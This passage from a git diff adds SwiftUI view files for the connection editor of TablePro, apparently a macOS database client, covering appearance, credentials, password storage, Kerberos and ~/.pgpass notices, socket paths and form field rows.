String(localized: "As stored") + case .lower: return String(localized: "lowercase") + case .upper: return String(localized: "UPPERCASE") + case .matchTyped: return String(localized: "Match what I type") + } + } +} + +// Observes Settings itself: the inherited limit changes there while this window stays open. +private struct AdvancedQueryTimeoutRow: View { + let row: EditorRow + @ObservedObject var store: ConnectionEditorStore + @ObservedObject var settings: AppSettingsManager + + var body: some View { + let globalSeconds = settings.general.queryTimeoutSeconds + EditorOptionalNumberRow( + String(localized: "Query timeout"), + value: store.binding(\.options.queryTimeoutSeconds), + defaultValue: QueryTimeoutInheritance.inheritedSeconds(globalSeconds: globalSeconds), + range: DatabaseConnection.queryTimeoutSecondsRange, + unit: String(localized: "seconds"), + row: row, + store: store + ) + .help(QueryTimeoutInheritance.subtitle(globalSeconds: globalSeconds)) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedListEntry.swift b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedListEntry.swift new file mode 100644 index 0000000000..6254ffe095 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedListEntry.swift @@ -0,0 +1,64 @@ +import SwiftUI + +// A List nested in a grouped Form does not scroll, so each entry of an ordered list is a row of its section. +struct AdvancedListEntry: View { + let primaryTitle: String + let secondaryTitle: String + let notice: String? + let actionsLabel: String + let canMoveUp: Bool + let canMoveDown: Bool + let onMove: (Int) -> Void + let onRemove: () -> Void + @ViewBuilder let primary: () -> Primary + @ViewBuilder let secondary: () -> Secondary + + var body: some View { + Grid(alignment: .leading, horizontalSpacing: 8, verticalSpacing: 8) { + GridRow { + Text(verbatim: primaryTitle) + .gridColumnAlignment(.trailing) + primary() + actions + } + GridRow { + Text(verbatim: secondaryTitle) + secondary() + Color.clear.gridCellUnsizedAxes([.horizontal, .vertical]) + } + if let notice { + GridRow { + Color.clear.gridCellUnsizedAxes([.horizontal, .vertical]) + NoticeLabel(notice) + .gridCellColumns(2) + } + } + } + .accessibilityElement(children: .contain) + .accessibilityActions { + if canMoveUp { + Button(String(localized: "Move Up")) { onMove(-1) } + } + if canMoveDown { + Button(String(localized: "Move Down")) { onMove(1) } + } + } + } + + private var actions: some View { + Menu { + Button(String(localized: "Move Up")) { onMove(-1) } + .disabled(!canMoveUp) + Button(String(localized: "Move Down")) { onMove(1) } + .disabled(!canMoveDown) + Divider() + Button(String(localized: "Remove"), action: onRemove) + } label: { + Image(systemName: "ellipsis.circle") + } + .menuStyle(.borderlessButton) + .menuIndicator(.hidden) + .fixedSize() + .accessibilityLabel(actionsLabel) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AppearanceFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/AppearanceFacetView.swift new file mode 100644 index 0000000000..4551418b76 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/AppearanceFacetView.swift @@ -0,0 +1,108 @@ +// +// AppearanceFacetView.swift +// TablePro +// + +import AppKit +import SwiftUI + +struct AppearanceFacetView: View { + @ObservedObject var store: ConnectionEditorStore + + init(store: ConnectionEditorStore) { + self.store = store + } + + var body: some View { + Form { + if let facet = store.layout.facet(.appearance) { + ForEach(facet.sections) { section in + Section { + ForEach(section.rows, id: \.self) { row in + rowView(row) + } + } header: { + if let title = section.title { + Text(verbatim: title) + } + } footer: { + if let footer = section.footer { + Text(verbatim: footer) + } + } + } + } + } + .formStyle(.grouped) + } + + @ViewBuilder + private func rowView(_ row: EditorRow) -> some View { + switch row { + case .builtIn(.icon): + LabeledContent { + SymbolWell( + iconName: store.binding(\.appearance.iconName), + subject: .connection(store.draft.type), + color: store.draft.appearance.color, + accessibilityIdentifier: BuiltInRow.icon.accessibilityIdentifier + ) + } label: { + EditorRowLabel(String(localized: "Icon"), row: row, store: store) + } + case .builtIn(.color): + AppearanceColorRow(store: store) + case .builtIn(.tags): + // The editor names its tag menu `connection-form-tags` and confirms a delete that reaches every connection. + LabeledContent { + ConnectionTagEditor(tagIds: store.binding(\.appearance.tagIds)) + } label: { + EditorRowLabel(String(localized: "Tags"), row: row, store: store) + } + case .builtIn(.group): + LabeledContent { + ConnectionGroupPicker(selectedGroupId: store.binding(\.appearance.groupId)) + .accessibilityElement(children: .contain) + .accessibilityIdentifier(BuiltInRow.group.accessibilityIdentifier) + } label: { + EditorRowLabel(String(localized: "Group"), row: row, store: store) + } + case .plugin(let fieldID): + PluginFieldRow(fieldID: fieldID, store: store) + default: + EmptyView() + } + } +} + +// The colour shows as the tile it paints in the connection list, a tinted symbol per item rather than a swatch. +struct AppearanceColorRow: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + Picker(selection: store.binding(\.appearance.color)) { + item(.none) + Divider() + ForEach(ConnectionColor.allCases.filter { !$0.isDefault }) { color in + item(color) + } + } label: { + EditorRowLabel(String(localized: "Color"), row: .builtIn(.color), store: store) + } + .accessibilityIdentifier(BuiltInRow.color.accessibilityIdentifier) + } + + @ViewBuilder + private func item(_ color: ConnectionColor) -> some View { + if let image = ConnectionLibrarySymbols.image(systemName: color.isDefault ? "app.dashed" : "app.fill", color: color) { + Label { + Text(verbatim: color.displayName) + } icon: { + Image(nsImage: image) + } + .tag(color) + } else { + Text(verbatim: color.displayName).tag(color) + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift new file mode 100644 index 0000000000..f16da31b23 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift @@ -0,0 +1,300 @@ +// +// GeneralAuthenticationRows.swift +// TablePro +// + +import Network +import SwiftUI +import TableProPluginKit + +// The pop-up carries the profile commands as its last items, as a Team or printer pop-up does, so the row keeps +// one control and no button lands on a line of its own. +struct GeneralCredentialsRows: View { + @ObservedObject var store: ConnectionEditorStore + + @State private var pickerGeneration = 0 + + private enum Choice: Hashable { + case mode(CredentialMode) + case saveAsProfile + case manageProfiles + } + + private var row: EditorRow { .builtIn(.credentialProfile) } + + var body: some View { + if store.credentialProfileIsMissing { + LabeledContent { + HStack(spacing: 8) { + picker + .labelsHidden() + .fixedSize() + Button(String(localized: "Enter Credentials Here")) { + store.switchToInlineCredentials() + } + .accessibilityIdentifier("credential-profile-relink") + } + } label: { + EditorRowLabel(String(localized: "Credentials"), row: row, store: store) + } + } else { + picker + } + + if let profile = store.selectedCredentialProfile { + LabeledContent(String(localized: "Username"), value: Self.displayUsername(profile)) + LabeledContent(String(localized: "Password"), value: profile.passwordMode.displayName) + if case .source(let source) = profile.passwordMode { + PasswordSourceTestView( + source: source, + context: { store.passwordSourceContext() }, + leaseOwner: { profile.id }, + refusal: { + store.services.credentialProfileStorage.storeIsTrusted + ? nil : PasswordSourceResolver.ResolutionError.profileStoreNotTrusted + } + ) + } + } + } + + private var picker: some View { + Picker(selection: choice) { + Text(String(localized: "Enter Below")).tag(Choice.mode(.inline)) + if !store.context.credentialProfiles.isEmpty { + Divider() + ForEach(store.context.credentialProfiles) { profile in + Text(verbatim: profile.name).tag(Choice.mode(.profile(id: profile.id))) + } + } + // A selection with no matching item reads as nothing chosen, so a profile this Mac lacks gets one. + if store.credentialProfileIsMissing { + Text(String(localized: "Missing Profile")).tag(Choice.mode(store.draft.credentials.mode)) + } + Divider() + if canSaveAsProfile { + Text(String(localized: "Save These as a Profile…")).tag(Choice.saveAsProfile) + } + Text(String(localized: "Manage Profiles…")).tag(Choice.manageProfiles) + } label: { + EditorRowLabel(String(localized: "Credentials"), row: row, store: store) + } + .id(pickerGeneration) + .accessibilityIdentifier(row.accessibilityIdentifier) + } + + private var canSaveAsProfile: Bool { + !store.draft.credentials.usesProfile && store.hasPromotableCredentials + } + + // A command item leaves the selection where it was; the new identity redraws the pop-up on it. + private var choice: Binding { + Binding( + get: { .mode(store.draft.credentials.mode) }, + set: { newValue in + switch newValue { + case .mode(let mode): + store.setCredentialMode(mode) + case .saveAsProfile: + pickerGeneration += 1 + store.isSavingCredentialsAsProfile = true + case .manageProfiles: + pickerGeneration += 1 + WindowOpener.shared.openSettings(tab: .profiles) + } + } + ) + } + + private static func displayUsername(_ profile: CredentialProfile) -> String { + let trimmed = profile.username.trimmingCharacters(in: .whitespaces) + return trimmed.isEmpty ? String(localized: "None") : trimmed + } +} + +@MainActor +private func passwordTitle(_ store: ConnectionEditorStore) -> String { + store.traits.connectionMode == .apiOnly ? String(localized: "API Token") : String(localized: "Password") +} + +// The password and where it is kept share one row, so "Password" labels it once. +struct GeneralPasswordRow: View { + @ObservedObject var store: ConnectionEditorStore + + @StateObject private var reveal = SecretReveal() + @State private var isEdited = false + @FocusState private var isFocused: Bool + + private var requiresAuthentication: Bool { + store.draft.credentials.storedPasswordState != .absent + } + + var body: some View { + let title = passwordTitle(store) + LabeledContent { + HStack(spacing: 8) { + field(title: title) + .labelsHidden() + .focused($isFocused) + .accessibilityIdentifier(BuiltInRow.password.accessibilityIdentifier) + + Button { + Task { await reveal.setRevealed(!reveal.isRevealed, requiresAuthentication: requiresAuthentication) } + } label: { + Image(systemName: reveal.isRevealed ? "eye.slash" : "eye") + } + .buttonStyle(.borderless) + .help(revealTitle) + .accessibilityLabel(revealTitle) + .accessibilityIdentifier("connection-form-password-reveal") + + GeneralPasswordStoragePicker(store: store, title: title) + .labelsHidden() + .fixedSize() + } + } label: { + EditorRowLabel(title, row: .builtIn(.password), store: store, isEdited: isEdited) + } + .editorRowFocus(.builtIn(.password), store: store, isFocused: $isFocused) + .editorRowFocus(.builtIn(.passwordMode), store: store, isFocused: $isFocused) + } + + private var revealTitle: String { + reveal.isRevealed ? String(localized: "Hide password") : String(localized: "Show password") + } + + @ViewBuilder + private func field(title: String) -> some View { + if reveal.isRevealed { + TextField(text: password) { Text(verbatim: title) } + .autocorrectionDisabled() + } else { + SecureField(text: password) { Text(verbatim: title) } + } + } + + private var password: Binding { + Binding( + get: { store.draft.credentials.password }, + set: { newValue in + isEdited = true + store.update { $0.credentials.password = newValue } + } + ) + } +} + +// Without a password field (Ask Every Time, or a source set in connections.json) the choice is the row. +struct GeneralPasswordModeRow: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + if store.draft.credentials.passwordSource != nil { + Toggle(isOn: store.passwordPromptBinding) { + EditorRowLabel( + store.traits.connectionMode == .apiOnly + ? String(localized: "Prompt for API token") + : String(localized: "Prompt for password"), + row: .builtIn(.passwordMode), + store: store + ) + } + .accessibilityIdentifier(BuiltInRow.passwordMode.accessibilityIdentifier) + } else { + GeneralPasswordStoragePicker(store: store, title: passwordTitle(store)) + } + } +} + +struct GeneralPasswordStoragePicker: View { + @ObservedObject var store: ConnectionEditorStore + let title: String + + var body: some View { + Picker(selection: store.passwordPromptBinding) { + Text(String(localized: "Store in Keychain")).tag(false) + Text(String(localized: "Ask Every Time")).tag(true) + } label: { + EditorRowLabel(title, row: .builtIn(.passwordMode), store: store) + } + .accessibilityIdentifier(BuiltInRow.passwordMode.accessibilityIdentifier) + } +} + +struct GeneralPasswordSourceRows: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + if let source = store.draft.credentials.passwordSource { + PasswordSourceSummary(title: passwordTitle(store), source: source) + PasswordSourceTestView( + source: source, + context: { store.passwordSourceContext() }, + leaseOwner: { store.isNew ? nil : store.connectionId }, + refusal: { + store.storage.storeIsTrusted ? nil : PasswordSourceResolver.ResolutionError.storeNotTrusted + } + ) + } + } +} + +struct GeneralKerberosNote: View { + @ObservedObject var store: ConnectionEditorStore + + private var usesWindowsAuthentication: Bool { + ConnectionEditorEngine.usesWindowsAuthentication(store.draft, store.traits) + } + + private var hostIsIPAddress: Bool { + let host = ConnectionEditorEngine.resolvedHost(store.draft, store.traits).trimmingCharacters(in: .whitespaces) + return IPv4Address(host) != nil || IPv6Address(host) != nil + } + + var body: some View { + NoticeLabel( + String(localized: "Leave the principal and password blank to use your existing Kerberos ticket. Run kinit user@REALM.COM in Terminal first if you don't have one."), + severity: .info + ) + .accessibilityElement(children: .combine) + .accessibilityIdentifier(BuiltInRow.kerberosNote.accessibilityIdentifier) + // MariaDB's server names its own principal, so only these two take it from the host. + if hostIsIPAddress, usesWindowsAuthentication || store.traits.pluginTypeId == "PostgreSQL" { + NoticeLabel(hostWarning) + } + } + + private var hostWarning: String { + if usesWindowsAuthentication { + return String(localized: "Windows Authentication needs the server's hostname, not an IP address. Kerberos service principals aren't registered against IP addresses.") + } + return String(localized: "Kerberos needs the server's hostname, not an IP address. Service principals aren't registered against IP addresses.") + } +} + +struct GeneralPgpassStatus: View { + let status: PgpassStatus + + var body: some View { + if let notice { + NoticeLabel(notice.text, severity: notice.severity) + .accessibilityElement(children: .combine) + .accessibilityIdentifier(BuiltInRow.pgpassStatus.accessibilityIdentifier) + } + } + + private var notice: (text: String, severity: NoticeSeverity)? { + switch status { + case .notChecked: + return nil + case .fileNotFound: + return (String(localized: "~/.pgpass not found"), .warning) + case .badPermissions: + return (String(localized: "~/.pgpass has incorrect permissions (needs chmod 0600)"), .warning) + case .matchFound: + return (String(localized: "~/.pgpass found, matching entry exists"), .success) + case .noMatch: + return (String(localized: "~/.pgpass found, no matching entry"), .warning) + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift new file mode 100644 index 0000000000..72c8d34caa --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift @@ -0,0 +1,189 @@ +// +// GeneralConnectionRows.swift +// TablePro +// + +import AppKit +import SwiftUI + +struct GeneralTypeRow: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + LabeledContent { + HStack(spacing: 8) { + ConnectionTile( + type: store.draft.type, + iconName: store.draft.appearance.iconName, + identityColor: store.draft.appearance.color.isDefault ? nil : store.draft.appearance.color, + size: 22 + ) + Text(verbatim: store.traits.displayName) + Button(String(localized: "Change…")) { + store.isChoosingType = true + } + .accessibilityIdentifier(BuiltInRow.type.accessibilityIdentifier) + } + } label: { + EditorRowLabel(String(localized: "Type"), row: .builtIn(.type), store: store) + } + } +} + +struct GeneralEnvironmentRow: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + Picker(selection: store.environmentBinding) { + ForEach(ConnectionEnvironment.allCases) { environment in + if let image = Self.symbol(for: environment) { + Label { + Text(verbatim: environment.displayName) + } icon: { + Image(nsImage: image) + } + .tag(environment) + } else { + Text(verbatim: environment.displayName).tag(environment) + } + } + } label: { + EditorRowLabel(String(localized: "Environment"), row: .builtIn(.environment), store: store) + } + .accessibilityIdentifier(BuiltInRow.environment.accessibilityIdentifier) + } + + // A menu item draws a template image in its own text color, so the tint is baked into a non-template copy. + private static func symbol(for environment: ConnectionEnvironment) -> NSImage? { + guard let name = environment.symbolName else { return nil } + let tint: NSColor = environment == .local ? .secondaryLabelColor : NSColor(environment.tint) + let image = NSImage(systemSymbolName: name, accessibilityDescription: nil)? + .withSymbolConfiguration(NSImage.SymbolConfiguration(paletteColors: [tint])) + image?.isTemplate = false + return image + } +} + +struct GeneralSocketPathRow: View { + @ObservedObject var store: ConnectionEditorStore + + @State private var isEdited = false + + private var prompt: String { store.traits.defaultLocalSocketPath ?? "" } + + var body: some View { + if store.traits.localSocketIsDirectory { + LabeledContent { + SuggestionComboBox( + suggestions: { PostgreSQLLocalSocket.commonDirectories }, + placeholder: prompt, + accessibilityLabel: String(localized: "Socket"), + accessibilityIdentifier: BuiltInRow.localSocketPath.accessibilityIdentifier, + value: Binding( + get: { store.draft.localSocketPath }, + set: { newValue in + isEdited = true + store.update { $0.localSocketPath = newValue } + } + ) + ) + } label: { + EditorRowLabel(String(localized: "Socket"), row: .builtIn(.localSocketPath), store: store, isEdited: isEdited) + } + } else { + EditorTextRow( + String(localized: "Socket"), + text: store.binding(\.localSocketPath), + prompt: prompt, + row: .builtIn(.localSocketPath), + store: store + ) + } + } +} + +// Advisory only: the server may start after the connection is saved. +enum GeneralSocketStatus { + static func message(status: SocketFileStatus?, socketFile: String?, isDirectory: Bool) -> String { + isDirectory ? directoryMessage(status: status, socketFile: socketFile) : fileMessage(status: status) + } + + private static func fileMessage(status: SocketFileStatus?) -> String { + switch status { + case .missing: + return String(localized: "Nothing is at this path. Start the server, or check the path.") + case .notSocket: + return String(localized: "This file is not a socket.") + case .socket, .none: + return String(localized: "The server's socket file on this Mac. SELECT @@socket in the mysql client shows it.") + } + } + + private static func directoryMessage(status: SocketFileStatus?, socketFile: String?) -> String { + guard let socketFile else { + return String(localized: """ + The folder with the server's socket, or the socket file. SHOW unix_socket_directories \ + in psql lists the folders. + """) + } + let file = (socketFile as NSString).abbreviatingWithTildeInPath + switch status { + case .missing: + return String( + format: String(localized: "Nothing is at %@. Start the server, or check the folder and the port."), + file + ) + case .notSocket: + return String(format: String(localized: "%@ is not a socket."), file) + case .socket, .none: + return String( + format: String(localized: "Connects to %@. The port names the socket file in the folder."), + file + ) + } + } +} + +struct GeneralPastedURLNoticeRow: View { + let notice: PastedURLNotice + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + LabeledContent { + Button(String(localized: "Undo")) { + store.undoPastedURL() + } + .accessibilityIdentifier("connection-form-pasted-url-undo") + } label: { + NoticeLabel(notice.message, severity: .info) + .accessibilityElement(children: .combine) + .accessibilityIdentifier("connection-form-pasted-url-notice") + } + } +} + +struct GeneralPortTLSNoticeRow: View { + let notice: PortTLSNotice + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + if let actionTitle = notice.actionTitle { + LabeledContent { + Button(actionTitle) { + store.selectSSLMode(notice.impliedMode) + } + .accessibilityIdentifier("connection-form-port-tls-use") + } label: { + noticeLabel(severity: .warning) + } + } else { + noticeLabel(severity: .info) + } + } + + private func noticeLabel(severity: NoticeSeverity) -> some View { + NoticeLabel(notice.message, severity: severity) + .accessibilityElement(children: .combine) + .accessibilityIdentifier(BuiltInRow.portTLSNotice.accessibilityIdentifier) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift new file mode 100644 index 0000000000..0fab76ec27 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift @@ -0,0 +1,189 @@ +// +// GeneralFacetView.swift +// TablePro +// + +import SwiftUI +import TableProPluginKit + +struct GeneralFacetView: View { + @ObservedObject var store: ConnectionEditorStore + + @Environment(\.undoManager) private var undoManager + + init(store: ConnectionEditorStore) { + self.store = store + } + + var body: some View { + Form { + if let facet = store.layout.facet(.general) { + ForEach(facet.sections) { section in + Section { + ForEach(section.rows, id: \.self) { row in + rowView(row, in: section) + } + } header: { + if let title = section.title { + Text(verbatim: title) + } + } footer: { + if let footer = section.footer { + Text(verbatim: footer) + } else if let status = socketStatus(for: section) { + Text(verbatim: status) + .accessibilityIdentifier("connection-form-socket-status") + } + } + } + } + } + .formStyle(.grouped) + .onAppear(perform: placeInitialFocus) + } + + // A new connection starts where its address goes; an existing one at its name. + private func placeInitialFocus() { + guard store.focusRequest == nil, store.selectedFacet == .general else { return } + let rows = store.layout.facet(.general)?.sections.flatMap(\.rows) ?? [] + let target: EditorRow + if !store.isNew { + target = .builtIn(.name) + } else if let first = [EditorRow.builtIn(.host), .builtIn(.databaseFile)].first(where: { rows.contains($0) }) { + target = first + } else { + target = .builtIn(.name) + } + store.focus(facet: .general, row: target) + } + + private func socketStatus(for section: SectionLayout) -> String? { + guard section.id == "connection", store.usesLocalSocket else { return nil } + return GeneralSocketStatus.message( + status: store.localSocketFileStatus, + socketFile: store.localSocketEndpoint?.socketFile, + isDirectory: store.traits.localSocketIsDirectory + ) + } + + @ViewBuilder + private func rowView(_ row: EditorRow, in section: SectionLayout) -> some View { + switch row { + case .plugin(let fieldID): + PluginFieldRow(fieldID: fieldID, store: store, title: pluginTitle(fieldID, in: section)) + case .builtIn(let builtIn): + builtInRow(builtIn, in: section) + } + } + + // A plugin's method picker labelled like its section would read "Authentication" under "Authentication". + private func pluginTitle(_ fieldID: String, in section: SectionLayout) -> String? { + guard let label = store.pluginField(fieldID)?.label, let title = section.title, + label.caseInsensitiveCompare(title) == .orderedSame + else { return nil } + return String(localized: "Method") + } + + @ViewBuilder + private func builtInRow(_ row: BuiltInRow, in section: SectionLayout) -> some View { + switch row { + case .name: + EditorTextRow( + String(localized: "Name"), + text: store.binding(\.name), + prompt: String(localized: "Connection name"), + row: .builtIn(.name), + store: store + ) + case .type: + GeneralTypeRow(store: store) + case .environment: + GeneralEnvironmentRow(store: store) + case .endpointKind: + Picker(selection: store.endpointBinding) { + Text(String(localized: "Host and Port")).tag(ConnectionDraft.Endpoint.hostAndPort) + Text(String(localized: "Socket")).tag(ConnectionDraft.Endpoint.localSocket) + } label: { + EditorRowLabel(String(localized: "Connect Using"), row: .builtIn(.endpointKind), store: store) + } + .accessibilityIdentifier(BuiltInRow.endpointKind.accessibilityIdentifier) + case .localSocketPath: + GeneralSocketPathRow(store: store) + case .host: + EditorTextRow( + String(localized: "Host"), + text: store.hostBinding(undoManager: undoManager), + prompt: store.traits.defaultHost ?? "localhost", + row: .builtIn(.host), + store: store + ) + .disabled(store.hostAndPortAreUnused) + if let notice = store.pastedURLNotice { + GeneralPastedURLNoticeRow(notice: notice, store: store) + } + case .port: + EditorTextRow( + String(localized: "Port"), + text: store.portBinding, + prompt: store.traits.defaultPortText, + row: .builtIn(.port), + store: store + ) + .disabled(store.hostAndPortAreUnused) + case .portTLSNotice: + if let notice = store.portTLSNotice { + GeneralPortTLSNoticeRow(notice: notice, store: store) + } + case .databaseFile: + EditorDatabaseFileRow( + String(localized: "File Path"), + path: store.binding(\.database), + prompt: databaseFilePrompt, + row: .builtIn(.databaseFile), + store: store, + chooseIdentifier: "connection-form-file-browse", + newIdentifier: "connection-form-file-new" + ) + case .database: + EditorTextRow( + store.traits.containerEntityName, + text: store.binding(\.database), + prompt: String(format: String(localized: "%@_name"), store.traits.containerEntityName.lowercased()), + row: .builtIn(.database), + store: store + ) + case .credentialProfile: + GeneralCredentialsRows(store: store) + case .username: + EditorTextRow( + String(localized: "Username"), + text: store.binding(\.credentials.username), + row: .builtIn(.username), + store: store + ) + case .passwordSource: + GeneralPasswordSourceRows(store: store) + case .passwordMode: + if section.rows.contains(.builtIn(.password)) { + GeneralPasswordRow(store: store) + } else { + GeneralPasswordModeRow(store: store) + } + case .password: + if !section.rows.contains(.builtIn(.passwordMode)) { + GeneralPasswordRow(store: store) + } + case .kerberosNote: + GeneralKerberosNote(store: store) + case .pgpassStatus: + GeneralPgpassStatus(status: store.pgpassStatus) + default: + EmptyView() + } + } + + private var databaseFilePrompt: String { + let ext = (store.traits.fileExtensions.first ?? "db").trimmingCharacters(in: CharacterSet(charactersIn: ". ")) + return "/path/to/database.\(ext.isEmpty ? "db" : ext)" + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift new file mode 100644 index 0000000000..7bde9e2201 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift @@ -0,0 +1,171 @@ +// +// EditorCodeEditor.swift +// TablePro +// + +import AppKit +import SwiftUI + +enum EditorCodeLanguage { + case sql + case shell + case plain + case json +} + +// A multi-line editor that is a Section of its own: the header names it. It grows with its lines from minHeight, +// Tab leaves it as in any form field, and Escape stays inside it instead of cancelling the window. +struct EditorCodeEditor: View { + @Binding private var text: String + private let language: EditorCodeLanguage + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + private let minHeight: CGFloat + + @State private var isEdited = false + + private static let maxHeight: CGFloat = 320 + + init( + text: Binding, + language: EditorCodeLanguage, + row: EditorRow, + store: ConnectionEditorStore, + minHeight: CGFloat = 96 + ) { + _text = text + self.language = language + self.row = row + self.store = store + self.minHeight = minHeight + } + + var body: some View { + VStack(alignment: .leading, spacing: 6) { + TextValueEditor( + text: $text, + font: font, + borderType: .bezelBorder, + movesFocusOnTab: true, + style: language == .plain ? .plain : .code + ) + .frame(height: height) + .background(EditorCodeEditorAnchor(focusToken: focusToken)) + .accessibilityIdentifier(row.accessibilityIdentifier) + + if let issue = EditorIssueVisibility.issue(for: row, in: store, isEdited: isEdited) { + NoticeLabel(issue.message, severity: issue.severity == .error ? .error : .warning) + } + } + .onChange(of: text) { _ in isEdited = true } + } + + private var font: NSFont { + let size = NSFont.systemFontSize + return language == .plain + ? .systemFont(ofSize: size) + : .monospacedSystemFont(ofSize: size, weight: .regular) + } + + private var focusToken: UUID? { + guard let request = store.focusRequest, request.row == row else { return nil } + return request.token + } + + // Hard line breaks only: a wrapped long line scrolls inside the editor rather than growing it. + private var height: CGFloat { + let lines = CGFloat(text.reduce(into: 1) { count, character in + if character.isNewline { count += 1 } + }) + let lineHeight = NSLayoutManager().defaultLineHeight(for: font) + let chrome: CGFloat = 16 + let content = lines * lineHeight + chrome + return min(max(content, minHeight), max(minHeight, Self.maxHeight)) + } +} + +// The editor's text view is TextValueEditor's, shared with the grid and the inspectors, so the editor-only key +// handling lives here. A window's Cancel button answers Escape as a key equivalent before the text view sees the +// key, which is why a local monitor, not the text view's delegate, keeps it. +private struct EditorCodeEditorAnchor: NSViewRepresentable { + let focusToken: UUID? + + func makeCoordinator() -> Coordinator { Coordinator() } + + func makeNSView(context: Context) -> NSView { + let view = NSView() + context.coordinator.anchor = view + context.coordinator.installMonitor() + return view + } + + func updateNSView(_ view: NSView, context: Context) { + context.coordinator.focus(token: focusToken) + } + + static func dismantleNSView(_ view: NSView, coordinator: Coordinator) { + coordinator.removeMonitor() + } + + @MainActor + final class Coordinator { + weak var anchor: NSView? + private var monitor: Any? + private var handledToken: UUID? + + private static let escapeKeyCode: UInt16 = 53 + + func installMonitor() { + guard monitor == nil else { return } + monitor = NSEvent.addLocalMonitorForEvents(matching: .keyDown) { [weak self] nsEvent in + nonisolated(unsafe) let event = nsEvent + let swallowed = MainActor.assumeIsolated { () -> Bool in + guard let self else { return false } + return self.swallows(event) + } + return swallowed ? nil : nsEvent + } + } + + func removeMonitor() { + if let monitor { NSEvent.removeMonitor(monitor) } + monitor = nil + } + + private func swallows(_ event: NSEvent) -> Bool { + guard event.keyCode == Self.escapeKeyCode, + event.modifierFlags.intersection(.deviceIndependentFlagsMask).subtracting(.function).isEmpty, + let window = anchor?.window, event.window === window, + let textView = window.firstResponder as? NSTextView + else { return false } + return owns(textView) + } + + func focus(token: UUID?) { + guard let token, token != handledToken else { return } + handledToken = token + DispatchQueue.main.async { [weak self] in + guard let self, let window = self.anchor?.window, let textView = self.ownedTextView(in: window) else { return } + window.makeFirstResponder(textView) + } + } + + // The anchor is the editor's background, so it covers the same rect as the editor's scroll view. + private func owns(_ textView: NSTextView) -> Bool { + guard !textView.isFieldEditor, let anchor, let scrollView = textView.enclosingScrollView else { return false } + let anchorRect = anchor.convert(anchor.bounds, to: nil).insetBy(dx: -2, dy: -2) + let editorRect = scrollView.convert(scrollView.bounds, to: nil) + return anchorRect.contains(CGPoint(x: editorRect.midX, y: editorRect.midY)) + } + + private func ownedTextView(in window: NSWindow) -> NSTextView? { + guard let root = window.contentView else { return nil } + var stack: [NSView] = [root] + while let view = stack.popLast() { + if let textView = view as? NSTextView, owns(textView) { return textView } + stack.append(contentsOf: view.subviews) + } + return nil + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorOptionalNumberRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorOptionalNumberRow.swift new file mode 100644 index 0000000000..da4648fd66 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorOptionalNumberRow.swift @@ -0,0 +1,135 @@ +// +// EditorOptionalNumberRow.swift +// TablePro +// + +import SwiftUI + +// An Int? setting: an empty field means the default, which the prompt shows. Every whole number reaches the draft as +// it is typed, so the engine's range issue shows under the label and Save never misses the last keystroke. +struct EditorOptionalNumberRow: View { + private let title: String + @Binding private var value: Int? + private let defaultValue: Int? + private let range: ClosedRange + private let unit: String? + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + private let subtitle: String? + private let prompt: String? + + @State private var text: String + @State private var isEdited = false + @FocusState private var isFocused: Bool + + init( + _ title: String, + value: Binding, + defaultValue: Int?, + range: ClosedRange, + unit: String?, + row: EditorRow, + store: ConnectionEditorStore, + subtitle: String? = nil, + prompt: String? = nil + ) { + self.title = title + _value = value + self.defaultValue = defaultValue + self.range = range + self.unit = unit + self.row = row + self.store = store + self.subtitle = subtitle + self.prompt = prompt + _text = State(initialValue: Self.text(for: value.wrappedValue)) + } + + var body: some View { + LabeledContent { + HStack(alignment: .firstTextBaseline, spacing: 6) { + TextField(text: $text, prompt: promptText.map { Text(verbatim: $0) }) { + Text(verbatim: title) + } + .labelsHidden() + .textFieldStyle(.roundedBorder) + .multilineTextAlignment(.trailing) + .frame(width: prompt == nil ? 72 : 104) + .focused($isFocused) + .accessibilityIdentifier(row.accessibilityIdentifier) + .onSubmit(settle) + + if let unit { + Text(verbatim: unit) + .foregroundStyle(.secondary) + } + } + } label: { + if let localError { + Text(verbatim: title) + NoticeLabel(localError, severity: .error) + } else { + EditorRowLabel(title, row: row, store: store, subtitle: subtitle, isEdited: isEdited) + } + } + .editorRowFocus(row, store: store, isFocused: $isFocused) + .onChange(of: text) { newText in + isEdited = true + write(newText) + } + .onChange(of: value) { newValue in + guard !isFocused, Self.parse(text) != .some(newValue) else { return } + text = Self.text(for: newValue) + } + .onChange(of: isFocused) { focused in + if !focused { settle() } + } + } + + private var promptText: String? { + prompt ?? defaultValue.map { SettingsFormat.identifier($0) } + } + + 